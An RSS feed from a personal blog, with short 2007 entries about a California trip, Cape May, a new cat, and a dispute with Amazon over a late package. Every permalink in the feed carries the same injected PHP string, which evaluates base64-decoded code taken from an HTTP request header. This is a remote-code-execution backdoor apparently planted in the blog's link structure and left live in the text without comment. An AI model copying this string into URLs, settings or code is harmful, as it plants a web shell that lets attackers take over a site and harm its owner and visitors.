http://www.niftylee.com/myblog A peek into my world... Tue, 01 Jul 2008 18:15:57 +0000 http://backend.userland.com/rss092 en Friday We landed. We ate at a small diner near the airport with Uncle Kenny. After that we came back to the house and got situated. Then we went to sleep. Saturday We took our time getting ready in the morning. For breakfast, we ate at a cool place ... http://www.niftylee.com/myblog/2007/07/26/california/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Let me start off by sharing an amusing anecdote. So, as you have read, we were headed to the beach. Charlene wanted to lay out, so I went and swam in the ocean. I was about to go in, but I had my glasses on, and I ... http://www.niftylee.com/myblog/2007/06/24/cape-may-day-2/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Charlene and I made it to Cape May this morning. The drive actually wasn't bad at all. There was little to no traffic from exit 159, all the way down to exit 0. I was a little shocked when there were traffic lights for a 3-mile stretch ... http://www.niftylee.com/myblog/2007/06/23/some-r-r/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ This is not your typical shit list. Let me list the shitty things that happened so far since yesterday that are just piling up in my head: Last night, I tried trimming the cats claws. Needless to say, it did not go well. This morning I woke up to a ... http://www.niftylee.com/myblog/2007/06/08/shit-list/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Shipping weight: 22.0 lbs. Twenty-two pounds of solid gold as far as i'm concerned. You know you want it. Tracking... Due in tomorrow. Nice. http://www.niftylee.com/myblog/2007/05/15/another-spawn-of-amazons-1-click/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Without further ado...    Say hello to my furry feline friend, Chrissie! I'm very excited to have her. I've always wanted a cat for as long as I can remember. Now that I'm on my own, I decided to make that dream become a reality. Charlene's allergic, but we're working ... http://www.niftylee.com/myblog/2007/05/14/chrissie/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ 'nough said. =) http://www.niftylee.com/myblog/2007/04/28/it-happened/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ My drive home yesterday was fun. Today I'm just gonna bite the bullet and take Route 17 all the way to Route 4 East. I really hope the water recedes soon, so I can resume my normal driving habits. http://www.niftylee.com/myblog/2007/04/17/when-it-rains-it-floods/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ As you can see, I did end up getting my package yesterday from Amazon. It was fun while it lasted; the outrage; the anger; the infuriated customer service correspondence. Good times. Good times... Well, now that I have the game in hand I can finally say that I've ... http://www.niftylee.com/myblog/2007/04/13/amazon-iii-the-sweet-end/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Follow up correspondence one: None of my questions were answered. I just got a canned response about shipping. Truly disappointing. Their response? Something along the lines of "Here's how to track your package." Wow. Thanks. My response? You didn't answer the question I wanted to know the most about. ... http://www.niftylee.com/myblog/2007/04/12/my-complaint-to-amazon-ii-electric-boogaloo/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/